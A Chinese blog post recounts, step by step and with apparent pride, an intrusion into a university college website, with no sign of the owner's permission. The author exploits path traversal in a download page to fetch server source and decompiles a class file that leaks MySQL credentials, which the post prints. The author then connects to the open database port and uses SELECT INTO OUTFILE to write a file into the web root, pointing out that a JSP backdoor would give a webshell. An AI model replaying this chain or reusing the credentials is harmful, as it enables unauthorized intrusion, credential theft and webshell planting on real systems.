学了这么久的JAVA了,是不是也该学习学习JSP网站的一些入侵技术了?O(∩_∩)O哈哈~ 今天忙里偷闲(要学的东西太多了,还要忙项目。%>_<%),于是对XXX师范大学XXX学院的网站体检了一下。
先不急于什么注入。看到这里有个文件下载的地方,点击一个下载看看。
http://www.xxx.edu.cn/down.jsp?fp=files/200606/12112524417890.rar&id=36022

注意看这个链接地址。参数fp是所要下载的文件的路径!或许这个地方能搞点什么(猜测而已)。
我们提交
http://www.xxx.edu.cn/down.jsp?fp=/&id=36022
此时程序抛出了异常!

连物理路径都出来了!试试下载一个jsp文件下来。
http://www.xxx.edu.cn/down.jsp?fp=../index.jsp&id=36022

把index.jsp成功下载下来了,看看它的源码怎么写的。首页好像并没有调用什么数据库,(废话!展示层怎么能直接调用数据层呢!——在MVC模式中)看看其他文件。
再看看这个newslist.jsp文件,它看样子是用来显示新闻的,应该是调用了数据库了。
http://www.xxx.edu.cn/newslist.jsp?id=36800
成功下来下来后,我们主要看它这段代码:
<%@ page contentType="text/html;charset=GBK" import="java.util.*,java.sql.*"%> <jsp:useBean id="link" scope="page" class="com.link" /> <jsp:useBean id="bbcode" scope="page" class="com.bbcode" /> <%@ include file ="../include/private.jsp" %> <% ResultSet rs=link.executeQuery("select * from news where id="+request.getParameter("id")); link.executeQuery("update news set click=click+1 where id="+request.getParameter("id")); while(rs.next()){ //if(!rs.getString("link").equals("")){response.sendRedirect("../download/"+rs.getString ("link"));} if(!rs.getString("link").equals("")){response.sendRedirect("download.jsp?fp="+rs.getString ("link"));} ResultSet rs_=link.executeQuery("select * from pass where class ="+rs.getString ("department")); rs_.next(); %>
这里用useBean[标签] 创建了一个数据库链接link。了解JSP的人应该都知道这里的class属性指的就是此类文件所处的位置。(关于JSP标签的详细介绍可查看:http://www.ineeke.com/archives/235/)
那么这个文件在哪呢?答:网站根目录/WEB-INF/classes/com/link.class
好了,知道数据库链接文件的位置了,就可以通过这个漏洞把它下载下来了。

看到没,提示可以下载!
不过下载下来的class文件是字节码文件,没法看到原文,也就是说数据库的一些信息没法看到了。
怎么办呢?找个工具把Java字节码文件恢复为JAVA文件呗!

恢复成JAVA文件后,在源码中找到一个link()方法,其代码如下:
public link() { strDriver = "org.gjt.mm.mysql.Driver"; strConn = "jdbc:mysql://localhost:3306/fwcdws"; user = "xiong"; password = "xiong13"; conn = null; stmt = null; rs = null; try { Class.forName(strDriver).newInstance(); } catch(Exception _ex) { System.err.println("can not connect mysql database"); } }
嗯…复习一下,这个连接方式叫做什么来着?哦,对!是JDBC直连。(*^__^*) …telnet一下看看服务器对外是否开了3306端口。

OK,说明开着呢。拿出Navicat for MySQL连接一下。

怎么拿WEBSHELL呢?创建一张表temp,字段名neeke,数据类型text保存。
接下来我们给里面插入一些话吧。我们就写:
JSP入侵学习 2009年新年快乐 请您注意网络安全!
By:Neeke
O(∩_∩)O哈哈~然后我们执行MYSQL语句。
SELECT * FROM temp into outfile ‘物理路径’;

这里的物理路径我们上面已经得到了是E:\resin\webapps。

OK!保存为e:\resin\webapps\neeke.txt了。这里我放的是个txt文件,当然同理也可以传一个
JSP后门上去,那不就是WEBSHELL了嘛!
总结:学了J2EE真是太有用了!O(∩_∩)O哈哈~